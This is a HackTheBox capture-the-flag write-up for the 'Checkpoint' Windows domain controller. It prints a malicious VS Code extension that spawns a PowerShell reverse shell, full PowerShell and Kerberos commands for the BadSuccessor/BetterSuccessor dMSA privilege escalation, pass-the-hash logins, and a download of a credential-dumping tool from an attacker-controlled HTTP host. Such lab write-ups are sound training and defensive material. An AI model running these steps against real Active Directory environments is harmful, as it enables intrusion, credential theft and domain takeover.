← back to write ups

Write Up

Checkpoint

HackTheBox Hard Windows View on HTB ↗

Overview

Checkpoint is a hard Windows box built around a Windows Server 2025 Active Directory domain controller. Initial access is achieved by uploading a malicious VS Code extension to an internal distribution share. From the resulting foothold, a post-patch BadSuccessor attack (BetterSuccessor) creates a delegated managed service account that inherits a service account's group memberships, granting access to a VMware backup share. VMkatz extracts the Administrator NTLM hash directly from the VM snapshot without transferring the 2 GB memory file.

Enumeration

Nmap

nmap -sC -sV -T4 -oA nmap 10.129.253.212

The port profile confirms a domain controller: DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (445), WinRM (5985), RPC (135/593), and AD Web Services (9389). RDP (3389) is also open.

SMB Shares

Enumerating shares with the provided credentials (alex.turner : Checkpoint2024!):

netexec smb 10.129.253.212 -u alex.turner -p 'Checkpoint2024!' --shares

Two non-standard shares stand out:

Domain Users

LDAP signing is required on this DC, blocking unauthenticated and NTLM-authenticated LDAP queries. RID brute-force via SMB enumerates 13 domain accounts. Key findings:

The correlation between max.palmer's password reset date and the DevDrop modification timestamp strongly suggests max.palmer is actively using the extension distribution share.

Initial Access — Malicious VS Code Extension

VS Code automatically activates installed extensions on startup. The DevDrop share is writable with the given credentials, making it a delivery vector for a malicious .vsix package.

A minimal VS Code extension is crafted with an activate() function in extension.js that spawns a PowerShell reverse shell:

// extension.js
const { exec } = require('child_process');
exports.activate = function() {
    exec('powershell -e <base64_encoded_reverse_shell>');
};

The extension is packaged as a .vsix archive with a package.json declaring activationEvents: ["*"] to ensure immediate activation, then uploaded to the share:

smbclient '\\10.129.253.212\DevDrop' -U 'checkpoint.htb/alex.turner%Checkpoint2024!' \
  -c 'put security-update.vsix'

Within seconds, a shell connects back as checkpoint\ryan.brooks — confirming ryan.brooks, not max.palmer, is the user whose VS Code instance picks up extensions from DevDrop.

Active Directory Enumeration

From the ryan.brooks shell, BloodHound data collection identifies two key permissions:

These two permissions together enable the BetterSuccessor attack.

Privilege Escalation — BetterSuccessor (Post-Patch BadSuccessor)

BadSuccessor (CVE-2025-29810) abuses Windows Server 2025's new Delegated Managed Service Account (dMSA) object type. When a dMSA is configured as the successor to an existing account, the KDC includes the predecessor account's SIDs in the dMSA's Kerberos tickets, effectively granting the dMSA all of the predecessor's group memberships.

Microsoft's August 2025 patch requires mutual pairing — both the dMSA and the target account must reference each other. This variant is known as BetterSuccessor. With CreateChild on OU=DMSAHolder and GenericWrite on svc_deploy, all required attributes can be set.

Creating the dMSA

A PowerShell script served via HTTP and executed via IEX creates the dMSA with all required attributes in a single New-ADObject call. The critical attributes that were missing from earlier attempts include msDS-DelegatedMSAState and msDS-SupportedEncryptionTypes:

$sid  = (Get-ADUser alex.turner).SID.Value
$sddl = "O:S-1-5-32-544D:(A;;0x1F01FF;;;$sid)"
$sd   = New-Object System.DirectoryServices.ActiveDirectorySecurity
$sd.SetSecurityDescriptorSddlForm($sddl)
$sdBytes = New-Object byte[] ($sd.GetSecurityDescriptorBinaryForm().Length)
$sd.GetSecurityDescriptorBinaryForm().CopyTo($sdBytes, 0)

New-ADObject -Name "dMSA-atk2" `
  -Type "msDS-DelegatedManagedServiceAccount" `
  -Path "OU=DMSAHolder,DC=checkpoint,DC=htb" `
  -OtherAttributes @{
    "sAMAccountName"                    = "dMSA-atk2$"
    "dNSHostName"                       = "dMSA-atk2.checkpoint.htb"
    "msDS-ManagedPasswordInterval"      = 30
    "msDS-GroupMSAMembership"           = $sdBytes
    "msDS-DelegatedMSAState"            = 2
    "msDS-ManagedAccountPrecededByLink" = "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb"
    "msDS-SupportedEncryptionTypes"     = 28
    "userAccountControl"                = 4096
  }

Setting Mutual Pairing on svc_deploy

Set-ADUser svc_deploy -Replace @{
  "msDS-SupersededManagedAccountLink"  = "CN=dMSA-atk2,OU=DMSAHolder,DC=checkpoint,DC=htb"
  "msDS-SupersededServiceAccountState" = 2
}

Retrieving the dMSA Keys

With both sides of the pairing set, badS4U2self (from the kerbad library) requests a DMSA S4U2self ticket as alex.turner. The KDC returns a KERB-DMSA-KEY-PACKAGE in the TGS response containing the dMSA's current keys and the predecessor account's credentials in the "previous keys" field:

badS4U2self \
  'kerberos+pw://checkpoint.htb\alex.turner:Checkpoint2024%[email protected]/?etype=18' \
  'krbtgt/[email protected]' \
  '[email protected]' \
  --dmsa --ccache /tmp/dmsa.ccache -v

The response includes svc_deploy's NT hash in the previous keys, which is used directly for pass-the-hash:

evil-winrm -i 10.129.253.212 -u svc_deploy -H <nt_hash>

VMBackups — Memory Forensics

As svc_deploy (BackupAccess group), the previously denied \\DC01\VMBackups share is now accessible. It contains a single backup folder with a VMware Workstation snapshot of a Windows Server 2019 VM:

Rather than transferring 2 GB over the VPN, VMkatz is uploaded to the DC and run against the snapshot files in-place. VMkatz reads the .vmsn and its companion .vmem directly from the server, extracts LSASS from the VM's physical memory, and outputs credentials without any file transfer:

# Upload VMkatz (2.3 MB static binary) via HTTP
Invoke-WebRequest http://10.10.14.23:7777/vmkatz.exe -OutFile vmkatz.exe

# Copy snapshot files to a local path (fast server-side copy)
Copy-Item "\\DC01\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem" C:\Users\svc_deploy\mem.vmem
Copy-Item "\\DC01\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmsn" C:\Users\svc_deploy\mem.vmsn

# Extract credentials
.\vmkatz.exe --format ntlm C:\Users\svc_deploy\mem.vmsn

VMkatz recovers the local Administrator NTLM hash from the VM's LSASS in under 25 ms. The password is shared with the domain Administrator account.

Root

evil-winrm -i 10.129.253.212 -u Administrator -H <nt_hash>

Domain Admin access achieved. Root flag retrieved from C:\Users\Administrator\Desktop\root.txt.

Key Takeaways

Checkpoint chains three distinct weaknesses. The DevDrop share treats write access as a safe distribution mechanism without validating what gets placed there — any account that can upload a .vsix can execute code as whoever has VS Code open. The BetterSuccessor primitive shows that even post-patch dMSA mitigations are ineffective when an attacker holds GenericWrite over the target account alongside CreateChild in the dMSA container; the mutual pairing requirement only raises the bar slightly. Finally, storing VM memory snapshots on a share accessible to service accounts creates an offline credential extraction path that bypasses all live endpoint protections — VMkatz makes this trivially fast without even requiring the files to leave the server.